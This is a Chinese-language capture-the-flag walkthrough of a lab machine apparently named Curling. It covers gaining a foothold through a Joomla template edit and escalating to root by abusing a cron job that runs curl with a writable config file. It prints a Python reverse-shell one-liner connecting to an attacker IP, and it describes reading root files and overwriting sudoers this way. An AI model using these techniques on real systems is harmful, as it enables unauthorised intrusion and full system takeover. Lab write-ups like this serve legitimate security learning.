
目录扫描

nmap

- http 80
- ssh 22
看到这么多内容,要耐心的收集可能有用的信息。


这个界面收集到的信息整理一下
- Super User 可能是 Floris
- 登录功能可能存在弱密码登录或sql注入
继续收集信息

2022 Cewl Curling site
查看源码发现一个注释



收集的信息
- Super User 可能是
Floris- 登录功能可能存在弱密码登录或sql注入
2022 Cewl Curling site- 未知信息:
Curling2018!
再去看看那个登录功能,可以看到我尝试了很多种凭证,均以失败告终。

那这个Curling2018!!和疑似超级用户的Floris可以用在什么地方呢,还有一个ssh,但是尝试后发现不行。还有其他地方么,还有一个administrator目录


也做了多次尝试最终发现Floris:Curling2018!可以登录

进到主页以后,个人认为应该是找能配合上传漏洞的功能或者类似于RCE的功能,看到有模板,进去看看。


有两个模板,先来测试测试这两个模板的使用情况

试探性的分别在Beez3模板和protostat的index.php模板文件上添加一句echo。

经过测试此网站目前使用的是protostar模板

可以在index.php做手脚,这样比较麻烦每次都要重新保存。

换成这样就可以了

经过测试发现目标装有python

开个终端监听1234端口,
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.42",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

然后就可以准备下一步了,可以看到我们没有红色框线内的文件的任意权限。

当然,最吸引人的就是password_backup这个文件了,看到这我盲猜应该是ssh的私钥。

想用python -m http.server 80开一个简易FTP但是行不通,正好这两台电脑在局域网内,可以用nc传输。
发送方: nc -l 端口 < 文件 -l就是listen监听
接收方:nc ip 端口 > 文件
先在发送方执行,后接受方执行。可以把>左边大的地方看成门的入口,尖尖是出口,发送方就是文件从入口进从监听的端口出去,而建立连接后文件从ip 端口出来到文件去(这个文件可以随便改名)。

很遗憾猜测错了,不是ssh私钥,去查查文件头呢。

在Static-AJ博主的一篇文章中找到了,非常感谢这位博主。

使用xxd -r

解压的时候又出现问题,结果一看又是包中包中包,先手动解压几次如果超过就写脚本解压。

经过tar解压的时候遇到问题了

因为我加了-z

password.txt里面装的这个5dfloris用户的密码

尝试之后成功切换到floris用户

这时候就可以去神秘的admin-area一探究竟了。

input里面装的

report装了一大堆,不过好像就是首页。

用diff对比一下只有一些因为环境变量不同而改变的。

再去看看sudo -l

看样子线索断了,无意间看到这两个文件的时间。

去看看crontab,又没有收获。

但是我们可以去监视与这两个文件有关系的进程,借助稀烂的基础写了个循环。
while true;do ps auxwww | grep input;done

/bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
/bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input
curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
curl -K,意思就是会从读取文件里面的内容作为参数

因为input里面是127.0.0.1所以curl结果就是我们能访问的网页首页,然后把curl结果输出到同目录下的report里。

有个想法,先找到root.txt位置然后直接curl它让它输出在report里面,啊当然,root.txt在/root/里面,先看看url怎么访问一个文件。


但是我这貌似不行,突然发现root前面少个/。

那怎么拿到root权限呢,既然能通过input调取我们想要的,就用input调ssh私钥。
ssh安装的时候就会在/etc/ssh/生成一个ssh_host_rsa_key 私钥。

然后用私钥连接居然还要密码,是不是目标ssh配置文件关闭了私钥登录root。
看来禁止了root登录。

可以想办法修改一下sudoer呢,先去看看sudoer文件。

测试发现使用两个-o参数只会warning而且只有第一个-o参数有效,那就去试试。

啊哦,看起来不能这样用,难不成不能放在一行。

查看curl手册发现-K参数的config文件每个物理行仅写入一个选项。

分为两行尝试

然后就root了。

